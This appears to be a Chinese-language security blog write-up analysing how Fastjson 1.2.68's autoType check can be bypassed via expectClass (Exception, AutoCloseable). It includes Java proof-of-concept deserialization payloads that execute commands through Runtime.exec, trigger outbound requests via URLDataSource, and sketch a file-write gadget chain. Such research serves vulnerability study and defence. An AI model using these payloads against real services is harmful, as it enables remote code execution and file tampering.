这篇文章主要总结学习目前网上关于1.2.68下绕过Autotype的一些方法用到的思路。
前置知识:
checkautotype因为是对要进行反序列化的类进行检测的方法
所以我们只需要让其返回Class类型的实例即可
一般会有以下几种情况通过验证:
1.autoTypeCheckHandlers不为null,通过此种方式来返回class
2.缓存mapping中的类:
从一处取的,在二处返回
其中在TypeUtils的addMappings中放入了一些基础类,也就是默认可以反序列化的相关类
3.不在黑名单,但在白名单之中的类
4.使用了jsonType注解的类
5.@type反序列化时执行了expectclass,指定了期望类
在判断为True时exceptclass不能为以下几种类型
并且反序列化的类不能继承或者实现Classloader、DataSource、RowSet
绕过方法1:
那么如果没有开AutoType,并且如果存在expectclass,即使要反序列化的类不在白名单中,也可以进行加载不在黑名单中的某些满足条件的类
第一种:
通过Throwable.class
import com.alibaba.fastjson.JSON; import java.io.IOException; public class testfj1268 extends Exception { private String domain; public testfj1268() { super(); } public void setDomain(String domain) { this.domain = domain; } @Override public String getMessage() { try { Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain}); } catch (IOException e) { return e.getMessage(); } return super.getMessage(); } public static void main(String[] args) { String a = " { " + " "@type":"java.lang.Exception", " + " "@type": "testfj1268", " + " "domain": "calc" " + " }"; JSON.parseObject(a); } }
其中@type第一个类作为clazz(A),二个作为expectClass(B),这种绕过方式是因为Exception.class在parseConfig的mapping中,因此每到checkAutoType时就已经返回了clazz,那么接着为该类选择反序列化解析器,匹配到Throwable.class。
接着在反序列化第一个type指定的类时,此时将该类作为exClass
接着就能获取到要反序列化的类名exClassName传入checkAutoType,此时传入的第二个参数为Throable.class也为Exception.class的接口
那么在checkAutoType中第二个type处的类名将作为要校验的类名,Throwable将作为期望类
在这一步expectClassFlag置为True,此时只要反序列化的类不在黑名单中,即使不在白名单中,通过下图就能调用TypeUtils.loadClass进行加载
并且又因为有接下来的1处和2处的限制,那么要找到jndi这种的类还得实现了Throwable接口的,就很难,这也是比较鸡肋的一点。
返回clazz后,将通过createException实例化exClass,此时exClass就是返回的第二个type处的类,接着继续解析json将值放入otherValues,然后setvalue放入ex
此时将通过反射为ex对象赋值,其中method在解析
那么最终get的调用在完成赋值以后,将通过调用异常类的所有get方法包括接口以及自身定义的
比如调用getMessage时的调用栈如下所示:
绕过方法2:
y4er师傅博客中写到通过找checkAutoType的调用,看哪里传入的expectClass不为null,那么再看其逻辑,那么下面四个框,只有第二和第四,第四个是绕过点1,那么第二个绕过点就是点1
那么根据type指定的类在选择反序列化解析器时,AutoCloseable类使用的是else分支的javabeanDesearializer
此时函数调用栈如下:
那么因为AutoCloseable不在黑名单中并且其在mapping中,因此就可以返回clazz进行加载,因此通过它就能实现反序列化
比如:
import com.alibaba.fastjson.JSON; import java.io.IOException; public class testfj1268 implements AutoCloseable { private String domain; public testfj1268() { super(); } public void setDomain(String domain) { this.domain = domain; } public String getDomain() throws IOException { System.out.println("tr1ple"); Runtime.getRuntime().exec(domain); return domain; } public static void main(String[] args) { String a = " { " + " "@type":"java.lang.AutoCloseable", " + " "@type": "testfj1268", " + " "domain": " calc " " + " }"; JSON.parseObject(a); } @Override public void close() throws Exception { } }
为什么jndi的gadget不好找?因为常见的jndi的gadget都继承自 DataSource 和 RowSet,所以反序列化的类过不了对return clazz的最后的验证。
浅蓝师傅还分享了另一个例子:
import com.alibaba.fastjson.JSON; import javax.activation.DataSource; import javax.activation.URLDataSource; import javax.swing.*; import java.net.URL; public class testfj1 extends Exception { public testfj1() { } private DataSource dataSource; public DataSource getDataSource() { return dataSource; } public void setDataSource(URL url) { this.dataSource = new URLDataSource(url); } public static void main(String[] args) { String a = "{"@type":"java.lang.Exception","@type":"testfj1","dataSource":{"@type":"java.net.URL","val":"http://127.0.0.1:8090/exp"}}"; JSON.parseObject(a); } }
这个例子中setDataSource的入口参数需要通过@type来赋值,那么URL这个类是在白名单中的,所以能够正常赋值,然而在setDataSource中存在URLDataSource赋值给this.dataSource,那么这样赋值是不经过checkAutoType的逻辑的
因为对于JSON.parseObject来说,在调用parse解析输入端json字符串为obj后,此时要调用一次toJSON转为JSONObject(此时已经完成了setter的调用赋值)
那么在拿到testfj1这个类的成员变量以后,因此在JSON.toJSON中取得的反序列化的类testfj1的几个gettter的filed信息,包括从Throwable继承的4个getter和自身的getter共5个
那么此时要放入到JSONObject中,那么对于其中的每个键和值都将put一次,那么对于其中的value,又要调用一次tojson(value)
那么对于赋值给datasource的URLDataSource而言,也要走一次tojson,因此此时要调用URLDataSource的所有getter
那么根据JavaBeanSerializer中的sortedGetters将循环放入map中,一共有五个filed(每个filedinfo都有一个getter与之对应),那么对应要调用其5个get方法获取其值(用反射来实现)
那么对于inputStream,要调用URLDataSource的getInputStream
那么在getInputStream中此时将触发请求
此时的函数调用栈如下图所示:
除了getInputStream,getContentType也能触发
文件操作相关gadget:
浅蓝师傅的文章中提到找文件操作相关的gadget的思路:
1.通过set或构造方法指定文件路径的outputStream
2.通过set或者构造方法能够传入字节数组,可以传入outputStream,并且存在write将传入的字节数组写入到传入的outputStream
3.通过set get tostring能够调用flush完成数据写出
比如:
rmb122(学弟太强了)的例子,主要通过fastjson反序列化调用无参构造函数然赋值指定文件的outputStream,再找能够传入这个包含文件路径的stream的类,并能够传入字节数组,然后调用write向这个输出流写入字节数组的,他找的是
java.util.zip.InflaterOutputStream,然后通过最外层的marshalOutputStream来调用write完成写入文件
在parseobject解析到MarshalOutputStream后要反射通过构造器来实例化得到该类的对象,因此此时走到super(out),out中存储着inflaterOutputstream用来写数据
在drain总将调用this.out.write来写数据
而inflater中out就是fileoutstream,存储输出路径
调用栈如下图所示:
参考:
https://b1ue.cn/archives/348.html
https://b1ue.cn/archives/382.html
https://y4er.com/post/fastjson-bypass-https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247484413&idx=1&sn=1e6e6dc310896678a64807ee003c4965&chksm=fab2c0c2cdc549d43d21b91f435243661e00bf031aecdbbf5878522e4d03569f3981b2c8e6da&scene=126&sessionid=1597461507&key=1fa15854e5017e78c08db5d4c4c98468f36b29343ef1b65022a40e66f1c344e1cf8d55fd1996da1bca7dd78f1666a508c543e5aa920558e855b4538536162fb3a48c2e3d9a22c3abf40123baa437da55821ba7eff642bf588dee239317e2fbd9a46f89d17b44a50d68ebb463bc393638f9a7661ebde0356853fec50e007a1366&ascene=1&uin=MTcxNzgzMTQyMg%3D%3D&devicetype=Windows+10+x64&version=62090529&lang=zh_CN&exportkey=Ac60y0eMxnT1cqDwGjlpH5c%3D&pass_ticket=Ebbf7kHW%2F%2BiaFTbGKVvcjBwyIOOw3uJLI5JOzhcpgdsECH0q4pah%2B8PjR2AzBt5T-1268/